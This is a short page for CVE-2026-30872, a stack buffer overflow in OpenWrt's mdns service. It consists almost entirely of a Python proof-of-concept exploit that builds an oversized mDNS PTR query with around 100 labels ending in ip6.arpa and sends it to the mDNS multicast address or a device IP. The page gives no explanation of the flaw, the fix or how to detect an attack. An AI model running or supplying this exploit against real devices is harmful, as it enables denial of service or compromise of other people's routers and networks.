CVE-2026-30872 OpenWrt mdns栈缓冲区溢出漏洞

import socket # PoC for CVE-2026-30872 # Sends a crafted mDNS PTR query to trigger buffer overflow in OpenWrt mdns def send_exploit(target_ip, target_port): # DNS Header: Transaction ID=0, Flags=0 (Standard query), Questions=1 header = b'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' # Malicious Query Name (PTR) # Constructing a long .ip6.arpa query to exceed the 46-byte buffer # Format: [len][label].[len][label]...ip6.arpa # We create a long sequence of hex nibbles to trigger the overflow overflow_len = 100 # Long enough to exceed 46 bytes # Building the QNAME part (simplified representation of a long IPv6 reverse) # Each '1' represents a hex nibble in the reverse address qname_parts = [b'\x01' + b'1' for _ in range(overflow_len)] qname = b''.join(qname_parts) + b'\x03ip6\x04arpa\x00' # Question Type: PTR (12), Class: IN (1) qtail = b'\x00\x0c\x00\x01' packet = header + qname + qtail try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Target mDNS multicast address or specific device IP target = "224.0.0.251" port = 5353 send_exploit(target, port)